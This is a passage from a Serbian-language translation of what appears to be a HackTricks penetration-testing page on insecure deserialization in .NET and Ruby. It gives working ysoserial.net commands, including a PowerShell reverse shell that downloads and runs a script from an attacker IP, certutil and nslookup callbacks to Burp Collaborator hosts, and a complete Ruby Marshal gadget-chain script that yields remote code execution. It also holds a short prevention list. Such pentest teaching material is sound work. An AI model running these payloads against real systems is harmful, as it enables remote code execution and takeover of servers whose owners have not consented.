  • --formatter, koristi se da se naznači metoda za serijalizaciju eksploata (treba da znate koju biblioteku koristi serverska strana za deserijalizaciju payloada i koristite istu za serijalizaciju).

  • --output se koristi da se naznači da li želite eksploat u sirovom ili Base64 kodiranom obliku. Imajte na umu da će ysoserial.net enkodirati payload koristeći UTF-16LE (kodiranje koje se podrazumevano koristi na Windows-u), pa ako dobijete sirovu verziju i samo je enkodirate sa linux konzole, možda ćete imati nekih problema sa kompatibilnošću kodiranja koji će sprečiti eksploat da pravilno funkcioniše (u HTB JSON kutiji payload je radio i u UTF-16LE i ASCII, ali to ne znači da će uvek raditi).

  • --plugin ysoserial.net podržava dodatke za kreiranje eksploata za specifične okvire kao što je ViewState

Više parametara ysoserial.net

  • --minify će pružiti manji payload (ako je moguće)

  • --raf -f Json.Net -c "bilo šta" Ovo će naznačiti sve gadžete koji se mogu koristiti sa naznačenim formatterom (Json.Net u ovom slučaju)

  • --sf xml možete naznačiti gadžet (-g) i ysoserial.net će tražiti formatare koji sadrže "xml" (bez obzira na velika/mala slova)

ysoserial primeri za kreiranje eksploata:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net takođe ima vrlo interesantan parametar koji pomaže da bolje razumete kako svaki eksploit funkcioniše: --test Ako navedete ovaj parametar, ysoserial.net će pokušati eksploit lokalno, tako da možete testirati da li će vaš payload pravilno raditi. Ovaj parametar je koristan jer ako pregledate kod, pronaći ćete delove koda poput sledećeg (iz ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Ovo znači da bi testiranje eksploatacije zahtevalo poziv koda serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

U prethodnom kodu postoji ranjivost koju je kreirao exploit. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno takođe ranjiva. Stoga parametar --test nam omogućava da razumemo koji delovi koda su ranjivi na deserializacijski exploit koji može kreirati ysoserial.net.

ViewState

Pogledajte ovaj POST o kako pokušati iskoristiti parametar __ViewState u .Net-u da biste izvršili proizvoljni kod. Ako već znate tajne koje koristi žrtvena mašina, pročitajte ovaj post da biste znali kako izvršiti kod.

Prevencija

Da biste smanjili rizike povezane sa deserializacijom u .Net-u:

  • Izbegavajte dozvoljavanje tokova podataka da definišu svoje tipove objekata. Koristite DataContractSerializer ili XmlSerializer kada je moguće.

  • Za JSON.Net, postavite TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Izbegavajte korišćenje JavaScriptSerializer sa JavaScriptTypeResolver-om.

  • Ograničite tipove koji mogu biti deserializovani, razumevajući inherentne rizike sa .Net tipovima, kao što je System.IO.FileInfo, koji može menjati osobine serverskih fajlova, potencijalno dovodeći do napada uskraćivanjem usluge.

  • Budite oprezni sa tipovima koji imaju rizične osobine, poput System.ComponentModel.DataAnnotations.ValidationException sa svojom Value osobinom, koja može biti iskorišćena.

  • Sigurno kontrolišite instanciranje tipova da biste sprečili napadače da utiču na proces deserializacije, čineći čak i DataContractSerializer ili XmlSerializer ranjivim.

  • Implementirajte kontrole bele liste koristeći prilagođeni SerializationBinder za BinaryFormatter i JSON.Net.

  • Budite informisani o poznatim nesigurnim deserializacijskim gedžetima unutar .Net-a i obezbedite da deserializatori ne instanciraju takve tipove.

  • Izolujte potencijalno rizičan kod od koda sa internet pristupom kako biste izbegli izlaganje poznatih gedžeta, poput System.Windows.Data.ObjectDataProvider u WPF aplikacijama, neosiguranim izvorima podataka.

Reference

Ruby

U Ruby-u, serializacija se olakšava pomoću dve metode unutar biblioteke marshal. Prva metoda, poznata kao dump, koristi se za transformisanje objekta u niz bajtova. Ovaj proces se naziva serializacija. Nasuprot tome, druga metoda, load, koristi se za vraćanje niza bajtova u objekat, proces poznat kao deserializacija.

Za obezbeđivanje serializovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi u tu svrhu čuva se na jednoj od nekoliko mogućih lokacija:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X generička deserializacija u RCE gadget lanac (više informacija na https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Drugi RCE lanac za iskorišćavanje Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated